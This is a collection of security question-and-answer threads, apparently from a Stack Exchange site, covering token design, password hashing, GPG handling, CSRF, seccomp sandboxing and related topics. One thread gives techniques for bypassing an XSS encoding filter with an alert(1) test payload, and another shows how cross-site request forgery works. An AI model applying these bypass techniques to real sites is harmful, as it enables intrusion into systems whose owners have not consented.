Is adding a prefix to an API token lowering it's security When creating API tokens, one can pick any format one likes. Many people choose to use 40 random characters.

I'm wondering how much of a security issue is to prefix the API key with a prefix "leaking" it's use-case?

E.g. if I were to use 40char tokens I could do:

'myproj-refresh-'+random_chars(40). So that the resulting token will be myproj-refresh-F10E2821BBBEA527EA02200352313BC059445190.

This allows me to

detect the API key in other people's source code (and invalidate it)
minimize the number of false-positives of such a token

What I'm worried about is that if it leaks, it's not just a random number, that can be anything, but rather a thing that has an obvious meaning. It's a refresh token for "my project".

Do you think it's a viable trade-off or should it be prevented?

Some rapid fire thoughts:

Certainly, adding a prefix doesn't make the API token more guessable, so there is no immediate security concern (compared to say, replacing the first X digits of the API token with your prefix, which would reduce entropy)
There could be a minor negative side-effect if an attacker finds the key in someone else's source code before you do, recognizes that it belongs to your service because of the prefix, and therefore knows exactly where to use it.  However, an attacker in such a case could probably figure out what service the token went to anyway (since they have access to source code), so I doubt this is a serious concern.
Practically though, it seems like you finding your own API token in such a way is an event that will almost never happen.  Are you planning on creating bots to scan all major public code repositories for your API tokens regularly?  If not I doubt you'll ever find any of your API tokens, even if they are placed in someone's code somewhere.
One last note, automatically invalidating someone's API token for your service if you find it leaked may be a bad idea anyway.  Doing so would effectively disable their integration with your service, which might be very surprising to them, harmful to their business, and may violate your own terms of service (giving them a reason to sue).  You would be much better of simply contacting them about the issue.  Don't be surprised if that is not very effective though.

Summary: Does this carry a security risk?  I personally don't think so.  However, I also don't think it will have much practical benefit.  Then again, the "cost" of doing this is probably also very low, so do it if it makes sense to you.


In TLS1.2 AES-GCM mode, what happened when input is not exactly the multiple of its block size? I know that AES-GCM mode does not need padding, and its output are exactly the length of input data plus the tagging. But I am a little bit lost, as AES itself is block cipher, it could only operate on input of multiple of its block size, than when the input is not exactly multiple of its block size, what kind of data is added to fulfill AES's block requirement? I could not find any information regarding this.

The core of GCM is CTR: successive values of a counter are encrypted with AES (each value is represented over a 16-byte block), thus generating a key-dependent pseudorandom stream. Actually encryption (and decryption as well) is done by XORing that stream with the data to encrypt. The XOR is done bit by bit and can be stopped at any length without any need for padding.

(CTR mode is really about turning a block cipher into a stream cipher.)


How to send secure messages from a microcontroller circuit? I have an Arduino with a GSM shield. This enables me to send short arbitrary messages to any server.

What do I need to do to enable sending "secure" messages (that cannot be intercepted and have a trusted origin)?

Do I need to add some sort of security IC or is it sufficient to do this in software with public-key cryptography? Does the hardware impose a limit to the security?

With an Arduino, you are limited in many ways. One of the ways you are limited is in your entropy (the random bits) which you need for ANY encryption system.

You could add entropy randomness using the analogue pins of your Arduino, van Heusden has a example here.

He has also quite some interesting articles about entropy and how it affects security.

A 'Security IC' always has parts of this solution for its own use and could solve the problem for you.


Why are file URLs marked as not secure while HTTPS URLs are marked as secure in browsers? I understand that modern HTTPS protocols are secure enough for an average user.

However, since these protocols need to fetch files from the server while the file protocol just tells the browser to find the file in your computer, I think file protocols are more secure than HTTPS protocols.

Thus, why are browsers marking HTTPS protocols secure while marking file protocols not secure?

The Connection is secure badge is in respect to the information transmitted via the network / internet. As you correctly observed, the file:// protocol uses no network connection, neither a mechanism to secure the same (because there is none), hence the badge absent.

Note that the browser does not label the file:// protocol as insecure. The browser simply has no reason to notify about the presence of security mechanisms that TLS provides.


Pass password to GPG via script Okay, maybe first a little context:

I use a PGP(GPG) encrypted file to hold my passwords. I use a (dash) script, bound to a key combination, to fill in usernames and passwords across applications/websites. I also have a PGP key pair for email.

I don't like having to give in my complex password to decrypt every e-mail every time. Luckily gpg2 solves this by caching the password with gpg-agent. However, I don't like this behavior when it comes to my password file. I don't want it decrypted for the same amount of time as my e-mails...

As far as I know, you can't set different timeouts for different keys, so I came up with the following solution:

To decrypt my password file I would use this line in my "auto-type" script:

store="$(gpg -q --batch --passphrase `dmenu -P` -d /path/to/file)"

(The -P option for dmenu is added with a patch. It doesn't show what you type. My password file would be symmetrically encrypted.)

This way, gpg-agent is circumvented and the password needs to be provided every time.

My question is: Would this jeopardize my password? Is this in any way less secure than giving gpg the password to gpg-agent?

Also, as you can see, I store the decrypted text in a local variable. How insecure is this? The script exits after typing (or not typing) the requested information and I have this trap at the beginning of the script:

finish () {
    unset store
    unset passw
}

trap finish EXIT

This depends on your threat model.  If an attacker can get a process list (ps) on your machine at the right moment, they will see the substituted password being passed to GPG.  This is available to a normal user, so also available to any malware on your system, even running as a different user.

You could see this by creating a FIFO for input (so it will block) and running ps aux after starting GPG.  For example:

% mkfifo io
% gpg -q --batch --passphrase `echo supersecret` -d io &
% ps -ef | grep gpg
david    23136 22440  0 19:11 pts/4    00:00:00 gpg -q --batch --passphrase supersecret -d ./io

You can see that supersecret appears in ps output, just as your output of dmenu -P would be.

You should consider using --passphrase-file with redirection through a named pipe, such as:

gpg --passphrase-file <(dmenu -P)

This will transfer the passphrase through a pipe, rather than a command line argument, hiding it from any attacker able to read the process list.

Additionally, the stored data will be left in (physical) memory when the dash script exits, whether or not you unset the variable.  (Unset just removes the reference to the variable.)  There's a high likelihood that if someone physically took your machine and was able to dump memory, that memory forensics would lead to being able to extract some/all of your passwords.  I am not aware of any shell or tool to mitigate this risk.  (There's also a risk that it will be stored in swap, if you use swap.  Consider ephemeral encrypted swap to mitigate this concern.)


Opening mail from IMAP with no risk for the user I'm building a website for an association. Its aim is to, out of other thing, provide an easy mail manager to communicate with the member, stored in a database. This database is always up to date as it used to manage the members status, contributions, etc. That's why I want to use a integrated "custom" webmail instead of, for instance, RoundCube.

So the user can send mail from this website using the association mail address and SwiftMailer, and would like to be able to check the corresponding inbox from this very website.

I found out that there is a php IMAP extension, which seems to fill my needs, I can fetch eMails from the IMAP server. Though, I am affraid to create a security breach in the user's computer by making possible to display, for instance, spams, or malware contained in attachements. As I couldn't find anything on the internet, and I suppose displaying only text eMail would work (but it's not as user friendly) what would be the rules to build a secure eMail reader from an IMAP server that tends to be spammed?

By controlling the presentation layer, you may display a confirmation pop-up before redirecting to the target URLs. While requesting confirmation, the pop-up would highlight the target domain and include a reminder about dangers related to malicious websites


Wireless keyboard sniffing risk I've just acquired a wireless keyboard/mouse combo (Microsoft Wireless Desktop 3000). Only after having plugged it in did it get me thinking. How susceptible are those kind of setups to sniffing? Are they secure enough for everyday use?

From a brief perusal it seems that the problem is not purely theoretical as I initially thought:

Practical Exploitation of ...
KeyKeriki v.20 - 2.4GHz

Are there any feasible methods to mitigate this kind of threat (apart from using a corded keyboard for highly sensitive applications)?

[Edit:]

So as to clarify the assumed threat model per nealmcb's request.

I'm talking mostly about my actual setup. Personal/SOHO context, trying to avoid remote keylogging threat, protected assets are mostly login passwords and some sensitive info (f.e. credit card number etc.).

I know in my context the real life threat is negligible, but the same could be said about the perception of WEP based security in the past. So my question is - would devices like KeyKeriki allow amateurs to sniff freely on wireless keyboards? I suppose the good thing is that in this case a dedicated piece of hardware would still be needed, which is not the case with penetrating poorly secured Wi-Fi networks nowadays. So I'm hoping this difference will inhibit spreading of this threat.

But to broaden the question I thought also about possible corporate setups (crowded office space) and what about remote execution in this case - is it more than just a hypothetical risk?

To be clear though, high security setups are completely out of scope of this question.

The key here is what you define as "every day use" - if you work in an environment where the data is sensitive, your security policy should take into account the risk from wireless interception and if appropriate, the use of wireless devices should be forbidden.

Faraday cage equivalents, such as shielded rooms/buildings may be appropriate but are obviously a much higher cost than just using a different keyboard/mouse.

If you have nothing majorly sensitive, be aware there are other potential issues - I have seen instances where another user started seeing keyboard input on their screen as the two machines managed to sync to the same wireless keyboard. This could cause some privacy worries :-)

If you are worried at all, go wired and you don't need to try and work out the risk/benefit tradeoff of wireless.


How can you prevent email addresses from being harvested from a registration form? When you go to a website's login form and enter the wrong credentials, the website can give you one of three error messages:

Your email is wrong
Your password is wrong
Your email or password is wrong

I've read that the safest practice is to only show the third error message, because it prevents malicious users from using the login form to find out which emails are already in your database. If they're able to learn that information on a large scale, they can sell off the email addresses to spammers or try to log in as those users.

In addition to the login form, there are two other common ways of discovering valid emails.

The forgotten password form on a website allows you to enter your email and have a password reset link sent to your email address. If you enter a non-existent email into the form, the website can give you one of two messages:

That email does not exist
A password reset link was sent to your email address, if it exists

For the same reason, the best security practice here is to only show the second message, even if that email doesn't exist.

The user account registration form allows you to create a new account on the website. It requires you to enter several pieces of information, like an email address and a password.

If you try to sign up with an email address that is already being used by another account, the website can tell you that the email address is already in use.

Many large websites, including Stack Exchange, do it that way, even though it causes the same problems that are listed above.

Here are my questions, which are both related to that problem:

How can a website allow users to register without leaking the email addresses of their other users?
Is there any benefit to correctly handling the login forms and forgotten password forms if the registration form has this problem? In other words, if you can already get everybody's email addresses from the registration form, aren't the protections on the other two forms just a pointless nuisance to the end users?

The email harvesting scenario you describe is really slow and not likely to happen, at least as a way to gather lots of email addresses. The attacker would need to brute force really long strings against your form. As already stated by symcbean, emails are already very cheap if you buy them and it's pretty easy to block such attempts if someone tries to use this form repeatedly.

The standard way of gathering emails is by using tools like theharvester to quickly gather all mails associated with a domain (for example a company).

In case of password reset, you already answered part of your question yourself, you should always just return neutral feedback and if you want, implement a blocking mechanism which blocks an IP after too many attempts to register / reset.

If someone wants to register, you can:

first ask for his registration mail
then send a registration link to the mail
the further registration process will then continue from the link

This way it's not possible to guess if an email is already registered.


CSRF possible if params are not passed through query string? I was reading up on OWASP's page on CSRF and in their example they use a request where the sensitive parameters are stored in the query string:

http://bank.com/transfer.do?acct=MARIA&amount=100000

On my site I make a request where nothing sensitive is stored in the query string:

http://mysite.com/accounts/delete

But if you look at the raw request you can see the sensitive information:

POST /ajax/deletion/account HTTP/1.1
Host: www.mysite.com
Connection: keep-alive
Content-Length: 15
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: X-Mapping-fjhppofk=B8BFE26CD0B3A37348ECC6FFE3948274; connect.sid=s%3A4t4wfMTR6kCPRfwe5OEmYbse.Y%2FOfSmt%2Bo5JWDWglvUHIufOOFvfebr86CLiUcgdW6j8;

{"account_id":35653}

What I'm wondering is if I am safe from CSRF attacks since I do not include any parameters in my query string?  If I'm not safe from CSRF, how would a malicious user submit a forged request?

CSRF does not require query parameters.

In that same article you linked, under the section: "Prevention measures that do NOT work":

  Only accepting POST requests
    Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in attacker's website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks form will do something else.

Basically, since with CSRF you can't make any assumptions about the originating site, it might be the attacker's own site - he might simply have a regular HTML form on his site, that submits to your bank's website. When you are viewing the attacker's site, the CSRF form gets submitted to the bank... launching the attack.
No query string necessary.


Authentication between to devices where the same password is used on both I'm writing two applications that are intended for execution on two separate devices. It is similar to a remote desktop solution such as TeamViewer.

What follows below is my proposal for an authentication process between two devices A and B, where A is the authority. It may be a little verbose, but I just want to be thorough:

 1) User inputs a password to A
 2) A generates public and private key from password
 3) A saves private key to memory
 4) A saves private key to file
 5) A appends salt to password in memory
 6) A digests password + salt with SHA128.
 7) A saves the hash to file.

 8) B connects to A through TCP
 9) A sends public key to B
10) User inputs (the same) password to B
11) B encrypts password with the public key obtained from A
12) B sends the encrypted password to A
13) A decrypts the password with private key
14) A applies steps 5 and 6
15) A compares the hash of the obtained password with the stored hash.

This process doesn't involve sending the password in plain text over the network so that part is secure, so my questions are:

Should symmetric-key cryptography be used instead? If so, how would this be done without the plain-text password being transmitted?

It seems that storing both the hash of the password and the private key generated from the password is excessive. Is it?

On a side note, this all takes place over a LAN.

This is kind of one of those things that's terribly subjective.

What exactly are you trying to protect against here?

More questions that need answering:

How does B verify that pub key received from A is the right key, and not a MITM key?
How are you deriving a private key (pair) from the password?
How are you blocking brute force attempts?
What happens if someone gets the password hash and attempts to crack it offline?
How are you protecting the private key file?
How are you preventing replays of the encrypted password?

There are probably a few more questions worth asking that aren't listed as well.

The way you've outlined the flow is somewhat sound, but the implementation is a bit weak, and that's where you start getting into the don't-roll-your-own territory and that's never a good thing.

I would consider taking a look at how other similar systems handle authentication, or better yet use an existing protocol or technology that does this for you like Kerberos. Odds are pretty good most of those systems are already using pre-existing protocols.


Why are users tracked? I'm trying to get a well-informed and full picture of why one as a single person should worry about being tracked across sites and uniquely identified. The reasons I can think of are:

Serving ads as tailored to the user as possible (and thus likely to end in a purchase).
Governments who want to crack down on individuals they consider to do unwanted activity.

Are there other major reasons one would want to worry about tracking?

Part of the reason for asking is that it seems now near impossible to avoid being tracked even for true experts, so one wants to know the damage one inevitably faces with the current state of things.

Users are tracked because the collected information can be sold.

A major reason why data is collected from users is due to the simple fact that people will pay for the data. There are many companies that broker collected data, such as Intellius, to virtually anyone with a deep enough pocket. What buyers do with this personal information, however, is up to the buyers. Many use it to serve ads. Others use it to learn more about their target demographic. Still others may use it for private investigation, or in flesh search engines. And, of course, governments use it for surveillance.


Can Google deduce the visited URLs from Safe Browsing reports? The Google Chrome Privacy Whitepaper has a part about Safe Browsing, which says (emphasis mine):

  If you navigate to a URL that appears on the list, Chrome sends a
  partial URL fingerprint (the first 32 bits of a SHA-256 hash of the
  URL) to Google for verification that the URL is indeed dangerous.
  Chrome also sends a partial URL fingerprint when a site requests a
  potentially dangerous permission, so that Google can protect you if
  the site is malicious. Google cannot determine the actual URL from
  this information.

It seems to me that to be useful, the hash has to be compared against a list on Google's side, and for this to be useful they would have to visit this URL to check if it's actually malicious. From there, it seems easy to keep a mapping between partial hashes and full URLs.

Is it true that Google cannot determine the URL from this partial hash?

To be sure, I am talking about Safe Browsing and not the optional "Help improve Safe Browsing" that can be enabled in Chrome settings. I know that the latter can send plain URLs to Google.

You are right that in order to mark a hash as belonging to a malicious URL, Google needs to have visited that URL in the past and have decided that it was malicious.
It would be quite reasonable for them to keep the URLs they have labelled as malicious. Indeed if they have any sense, they will, because the more hashes they accumulate, the more URLs will turn out to have the same hash by accident. Suppose the hash list grew to have a million hashes. Then any URL at all would have a 1 in 4,000 chance of having a “malicious” hash. Either Google will have to re-scan the “malicious” sites from time to time or they will have to change to, say, a 40-bit hash. Either way they will need the original URL.
So for you, there are three possibilities.

Your URL's 32-bit hash is not in Google's list. In that case Google knows nothing about what URL you visited.
Or your URL's 32-bit hash is in Google's list. In that case Google can infer that your URL is equal to their malicious one.

a. They may be right.
b. They may be wrong, and your URL may be something quite different.

Google has no way (based on the description you quoted) of distinguishing between 2a and 2b.
But to summarise, Google can't know anything directly about your URL, but if (and only if) it appears, from checking the hash, to be malicious, they know which malicious URL they think it is.


What is the safest Google account recovery option? I have a Google account with a strong password and 2-factor authentication set up, and I worry about what would happen if I lost my phone with the 2FA app.

I want to set up a recovery option, and I have two choices:

Phone number: I've read about attackers abusing phone
companies' customer services to compromise the phone number of
victims. It's hard for me to trust my phone company with all of my
online accounts, given that they have the reputation not to take
security seriously,
Another email address: this seems to be the safest option, but it's
pretty obvious that I should not set up 2FA on this account, which
would reduce the security of my main account to a simple password,
which was exactly what 2FA should avoid!

My idea is to create an email address that has no link to my main Google account, with a very strong password (like in 256-bits crypto-secure-RNG strong password), and to store its password securely. Is it really more secure than an account without 2FA?

The most secure option is to buy two U2F devices (about $20 USD each), register both, and put one in a safe deposit box.

SMS can be redirected to voicemail (with easy password brute forcing), and is susceptible to phishing

TOTP is safer but is still susceptible to phishing

U2F is not susceptible to phishing

You have to provide your phone number first with Google, but you can remove it after having setup the 2 U2F devices. You also need to use Chrome, or a Firefox extension


Storing Argon2id parameters in a database? I've decided to use Argon2id for storing users' passwords in my database.
I have two questions:

Because there are several input parameters (parallelism, iterations etc.) that can influence the output result so I'm wondering if it's a good idea to store those parameters in the database e.g. in a column next to the stored passwords. Can it decrease somehow the security?
Because the users who use our application can have a different computer (our application is running on their side, it's a windows app) thus also a different computing power. How to correct set those parameters so it is secure enough but not too slow for users? Is there any recommended settings? Or the best way would be to run a performance test before a first run of the app and choose the parameters according to that (e.g. a goal is that the calculation of the hash password has to bee between 300-500 ms)

Question 1

You need to store all the information, but you should store it encoded in a single column. You probably already get the encoded output from your hash library. It should look something like this (source):

$argon2i$v=19$m=65536,t=2,p=4$c29tZXNhbHQ$RdescudvJCsgt3ub+b+dWRWJTmaaJObG

To understand what the different part means, see this question.

Question 2

Note that password hashing should take place server side, so it is not the client machines you should care about. But I assume this is some sort of server software that might run on servers with different performance.

If would advice you to make this configurable, and set a strong secure default even if it might be to slow for some machines. You should probably update these defaults in future versions as well, as best practice evolves and hardware improves. (I don't know what that would mean for Argon2 in the year of 2020.)

To help people who run into performance issues, I would aim to write good documentaiton explaining why they have this issue and why using lower settings would be risky.

Setting a weak default or just doing a performance test would come with the risk of people unknowingly using unsafe settings. I would rather force my users to think about this issue than give them a false sense of security.


Preventing dictionary attacks against hashed passwords Possible Duplicate:
  How to securely hash passwords?

I have a website and on that website I use SHA-256 and salt my user's passwords.  What I'm doing right now is padding each letter of the user's password with trash data before hashing it.  The reason I do this is so if someone happens to get a database dump of my site(unlikely, but possible) brute forcers/dictionary attack tools like john the ripper won't work because the hashed password isn't actually a word from their word lists, but a jumbled version of it.

Is this a viable strategy or is there another way to prevent dictionary attacks?  Some users have reported problems with their passwords, which may or may not be related to my "pre-hashing" method, but I was interested in looking into alternatives for hashing passwords.  I cannot use blowfish with any secure number of rounds due to the necessity that password hashes calculate in a reasonable amount of time.

Are there any PHP implementations of that new SHA3 Keccak hashing algorithm or would this be a bad idea to use?

You should not use SHA-3 yet. And let's not call it Keccak for clarity's sake, I can't recall what SHA-2 and SHA were originally called so I guess future readers won't know Keccak either.

More on-topic, your answer is here: How to securely hash passwords? This protects against dictionaries and all other possible attacks in the best currently known way.


Strange android app … possibly a mass malware? I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page and then exits just after few seconds. Few minutes later I get this app install prompt  ... (it says in french : blocked install of apps not coming from android market ) This have been repeating several times since ~2 weeks now

Questions :

What's this ? How to be sure that it won't repeat again ?

PS: My phone has the latest up dates offered by samsung and is not rooted. I also did not installed any app in Mandarin.

thanks for your help

Are you running Android 4.0.4 (Wikipedia lists it as the latest)? While they're not widespread, there is at least a few known vulnerabilities (such as this one and this one), and given that it's about a year old, I wouldn't be surprised if there were a few bits of malware like this around.

The malware you have contracted sounds like what Symantec is calling Android.Updtbot, and you may have some luck following their Removal instructions, or at least by downloading and installing a scanner of some sort to check over the phone.

If you're unable to scan/remove the malware; you're likely going to need to wipe the device completely and restore a clean version of the OS.

As a preventative measure, after cleaning or wiping your phone; be careful not to open links provided by someone you don't know, and you shouldn't open links from someone you do know that you weren't expecting to receive - whether they arrived by SMS, email or whatever. Since you have the option of installing and running anti-malware and anti-virus on your device, much like on your PC, you should install and keep up to date some sort of malware protection.


Is hardware wallet such as Ledger safe from being hacked by its manufacturer? Ledger is hardware wallet which assumed to be secured from remote hackings or hackings by malwares, but how about Ledger company itself? How difficult for the company to get access to our confidential information in the ledger wallets? Is it secured from this kind of risk by design?

If you want to assume the worst, remember the adage that if an attacker owns has physical access to your hardware then they can pwn your hardware.

The vendor effectively had access to your hardware so theoretically could have backdoor code into it.

However... What is the likelihood that they have access and would use it? It would ruin their reputation and future business if they did this. They might do that - similar things have happened in the past, but we cannot predict whether or not that company would act like that.


How can I keep a roommate from seeing my web activity? I have a roommate who is a network security engineer and I think he hacked our home network and now knows what sites I am visiting and what I am doing online. Although he is not stealing anything I think he must be playing with me. I read on the internet that if my router is a switch then it is not possible to snoop the home network, but my router is switch and I am not using a hub. How is it possible for him to know what websites I am seeing?. I have enabled the firewall, installed anti-virus, and secured the router login. Please let me know where to read and learn about it.

He's your roommate, so he probably has physical access to your machines and/or your networking equipment.  Given that he's also a security engineer, there are probably dozens of ways that he could learn what sites you are visiting, from eavesdropping on the network communications, spyware on your machine, logs on your computer or your router, or a gazillion other possibilities.

There's probably not much point in speculating about what methods he is using, if indeed he is doing anything at all.  Securing yourself against a roommate who is a security expert and you don't trust is ... well, it's basically a nightmare scenario for computer security.  Defending against that is possible in theory, but in practice, not really realistic for the average person, and probably a major pain in the butt.  Even if you somehow knew that he was hacking your machine/network and knew exactly what he was doing, and even if you were able to close off that particular hole, there would still be any number of other ways he could go after you, if he really wanted to play games with you.

If you really want to protect yourself as best as possible against that kind of threat model, here's what you could do to start: wipe your computer's hard drive, install a clean copy of the OS, install TrueCrypt and encrypt the entire hard drive using a hard-to-guess passphrase, turn off autorun, make sure when you leave your computer unattended you've powered down or done something that will require you to re-enter your TrueCrypt password to regain access, install HTTPS Everywhere, buy a secure VPN (one that encrypts everything that goes over the network, e.g., with SSL or IPSEC) and route all your communications through the VPN, and change your passwords on all your websites.  It'll be a serious pain in the butt, and only you can say whether it's really worth it.  If your roommate is just fooling around?  Probably not worth the bother.

Probably the best way to deal with this is through social means, not technical means.  In other words, either grin and bear it, or persuade your roommate to quit jerking your chain, or find a new roommate.


How to restrict dlopen() from or to certain paths? If I want to disable execution of programs on a filesystem, I can use the noexec mount option.

However, this doesn’t works with dynamic libraries loaded throughdlopen(). So what is the way to do it with nacl or seccomp ? (this is for untrusted bytecode sandboxing, I don’t want users being able to execute shared libraries they uploaded)

In the same time, libraries like gconv needs to be able to execute their.so modules.
fork()ing or exec()uting other programs programmatically is already disabled.

However, this doesn’t works with dynamic libraries.

It does work for dynamic libraries. If a shared object is located on a partition which is mounted with the noexec option, it cannot be loaded, otherwise noexec would be quite useless.

$ grep -E '/tmp |ext4' /proc/mounts
/dev/mapper/root_crypt / ext4 rw,nodev,noatime,data=ordered 0 0
tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,noatime,size=2031200k 0 0
$ cat > main.c
#include <stdio.h>

void main(void)
{
        printf("%d\n", getpid());
}
$ gcc -o main main.c
$ ./main
4950
$ cat > shared.c
int getpid(void)
{
        return 1;
}
$ gcc -shared -fPIC -o shared.so shared.c
$ LD_PRELOAD=./shared.so ./main
1
$ mv shared.so /tmp
$ LD_PRELOAD=/tmp/shared.so ./main
ERROR: ld.so: object '/tmp/shared.so' from LD_PRELOAD cannot be preloaded (failed to map segment from shared object): ignored.
4978

If you want to use seccomp to prevent executing untrusted shared objects, you can do that by restricting calls to mmap(), mprotect(), and obviously execve(). Make sure that the process can't map anything with PROT_EXEC. Restricting files is not enough, because any arbitrary data can be passed to mmap() through a file descriptor, and mprotect() can change the permissions of arbitrary pages of memory to make them executable. Additionally, since this example is a blacklist rather than a whitelist, you'll also have to deny access to some ptrace() arguments, because they can be used to break out of a seccomp sandbox.

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(mmap), 1,
    SCMP_A2(SCMP_CMP_MASKED_EQ, PROT_EXEC, PROT_EXEC));
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EACCESS), SCMP_SYS(mprotect), 1,
    SCMP_A2(SCMP_CMP_MASKED_EQ, PROT_EXEC, PROT_EXEC));
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EACCESS), SCMP_SYS(execve), 0);
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(ptrace), 1,
    SCMP_A0(SCMP_CMP_EQ, PTRACE_POKEUSER));
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(ptrace), 1,
    SCMP_A0(SCMP_CMP_EQ, PTRACE_SETREGS));
if (rc == -1)
    goto out;

rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(ptrace), 1,
    SCMP_A0(SCMP_CMP_EQ, PTRACE_SETREGSET));
if (rc == -1)
    goto out;

There are probably ways to bypass this seccomp snippet that I haven't thought about, so this is just to give you an idea of what it takes.

I've never used NaCl so I can't say how you'd restrict execution with it.


Thoughts on Tiny Encryption Algorithm (TEA, anyone)? I'm planning to implement Tiny Encryption Algorithm and exchange data between two PHP sites.

Specifically, using the code presented at PHP-einfach.de

Does anyone have any experiences / thoughts / comments on using this algorithm? (other than why are you using it)

Background: Its some code that i'm planning to put in a drupal module. the drupal module allows authenticated users of that site to connect to my site. I'm planning to give secret apikeys to these drupal site owners. The code on the drupal site will encrypt data: "userid-commandid-time" with the apikey and show this as a hidden field on a form. Their users submitting that form will be redirected to my site with this encrypted data.. When i get it, i'll decrypt it using my copy of the apikey and check the other data values. Time is being sent to make the request valid for a limited time only.

Also, i did consider oauth, but we're later in our development cycle and work is pretty much done. the system does not have to be 100% secure, its going to be exposed to a limited set of people (the drupal module users). it just has to be reasonable enough to dissuade most wannabe pranksters. gaining access to the key and our encryption methodology would at most allow the hacker spoofed (but limited) access to our system.

TEA is cryptographically broken. Its successors XTEA and XXTEA fare much better in that respect. Also, the performance of the *TEA algorithms is not very good.

The good point of TEA is the tiny code size -- this is a great asset in situations where code size is constrained, e.g. when you want to learn the code by heart, or when the code is part of often-downloaded software (e.g. a Javascript implementation). This does not apply to a PHP implementation, which stays server-side. So there is little point in using TEA or XTEA, and my advice would be to stick to a faster, more secure and more standard encryption algorithm (i.e. AES, also known as Rijndael).

(Also, encryption is only part of a data exchange protocol; you also need some kind of integrity protection, and there is the whole issue of key management. Usual recommendation is to rely on an existing protocol which already covers all the tricky details, first and foremost being SSL/TLS.)


Transparency Report Standards Are there any standards around what information should be included in a transparency report?  I have reviewed what other companies have provided and would like to follow suit but I'm not aware of any standard.

If there is no standard, please feel free to provide suggestions for a baseline of information that is helpful to users of a service.  My thoughts are to release what information is gathered when using any one of our services, or when connecting to our network (we provide Internet access).

This is going to differ across industry, e.g., educational institutions have been implementing a lot of EDUCAUSE related frameworks/standards/guidelines which would differ from say a day trader who may follow FINRA which may not even allow for non employees to connect. Ultimately, a privacy officer along with an attorney should be tasked with drawing this up. If it were me, and I had to start it, I'd go with what government monitors (+1 if you quickly thought about the NSA)... and I'd go from there aiding the corp. attorney since ultimately, you want to be in the legal clear.


How can one read the time in GPG's Literal Data Packet? RFC 4880 says that the Literal Data Packet's time stamp is four octets long. Listing packets shows that it is five octets long, at least in GnuPG 2.2.6.

The time stamp comes after the word "created", and is comprised of digits 0 to 9. How can it be read?

Example:

:literal data packet:
mode b (62), created 1562530941, name="My File"

This number is Unix time, which is number of seconds elapsed since 00:00 on January 1st, 1970, the Unix epoch. On a system with the standard date utility, you can convert the Unix time into a date:

$ date -d @1562530941
Sun Jul  7 20:22:21 UTC 2019

You can check the current Unix time similarly:

$ date +%s
1562547880


Secure uploading file I have file uploaded system in my php project.

What I make at uploading:

1) Check file extension and file mime type.

2) If extension and mime type are allowed types, I save file outside of public_html directory and then, I give the opportunity to users, download file so:

 if (file_exists($file_path)) {
        header('Content-Description: File Transfer');
        header('Content-Type: some mime type');
        header('Content-Disposition: attachment; filename=somefilename');
        header('Content-Transfer-Encoding: binary');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file_path));
        readfile($file_path);
 }

Question: this steps for uploading file, are secure or not? If not, what can make additional, for improve secure at uploading file?

Thanks.

p.s. same question on stackoverflow

One improvement you could look at for this is conducting malware scans of uploaded files.  Whilst this won't be a 100% protection, it could help reduce the risk of one of your users accidentally (or deliberately) uploading a malicious file which could then infect other users.


What evaluation criteria would you use for an Oracle scanning tool? What evaluation criteria would you use to select the right Oracle scanning tool?

Context:

To deploy an automated scanning tool (nessus / SQuirreL etc) for use by both development teams and security teams.

One tool to be used by both teams during the build stage, ongoing management (patching, changes to DB structure) and for assurance related activity (such as internal audit or security review).

One example for this would be:

Ability to restrict password cracking. While this may have value for the security team, I would not want the development team to be able to crack passwords.

So at the risk of now providing my own answer (still keen to have more thoughts on this!). I have come up with the following:

Does the tool provide compliance reports generated against own internal standard

This would be useful for the Dev team to ensure build meets required level.

Does the tool produce Compliance reports generated against
external standard

Such as CIS or NIST, as this would be for the Security
   team to compare the delta between the approved build and industry best practice.

Ability to conduct a Vulnerability
Scan

Does the build actually provide enough protection? Using a vulnerability scanning / analysis approach to test the build for security exposure.

Dose the tool produce a report on
missing patches?
Can I restrict scanning to specific
assets / user groups?

Any others that would be useful?

A way to test if one scanner is better than another is to use the scanner against an application that you know is vulnerable to attack.  One of the best examples is Wavsep,  which was used to compare many open source and commercial applications.   All of the results are available, and the only tool to pass all of the tests is Sitewatch,  if you don't believe me,  then you should try it.


Xss filter bypass > As you can see, all fields that I send only the attributes < > are coded, so they are not executing in the browser. Is there any way to bypass this XSS filter? In my case, only these attributes are encoded.
payload =
response =

&lt;script&gt;alert(1)&lt;/script&gt;

There is no default way/trick to bypass this.
However you can try to identify if there is a regex in place that you can break.
Or if there are any normalization/decoding inconsistencies.
Some ideas:

Check if the encoding happens recursively.
if you provide multiple '<', will they all be encoded?
Try different types of encoding (e.g. url encoding, double URL encoding) and see how the application treats them.
There are cases were the application normalizes Unicode characters (have a look here Unicode Normalization Bypass)


How to restrict access to a resource based on frequency of access? I want to restrict access to a particular resource based on time (configurable). So suppose user A has time t configured from him. He can access the resource only once every t time units. The values of t can be from a fixed set but not a very small set. I was thinking of using multiple hash chains to encrypt the data, but I am looking for something more scalable.

Any suggestions?

This depends on whether the user can store the resource locally after accessing it once, thus circumventing any frequency access control. This is why most forms of client-side encryption can't protect against software piracy or pay-per-view siphoning.

If the resource is a server resource, a simple register tracking the user's last access should suffice for throttling the service.

There are complex tricks that can manipulate user consumption of subscription-based media*, but none are easy. Hash chaining/nested encryption relies on the ability to purge the decrypted content or keys to stop excessive frequency of use.

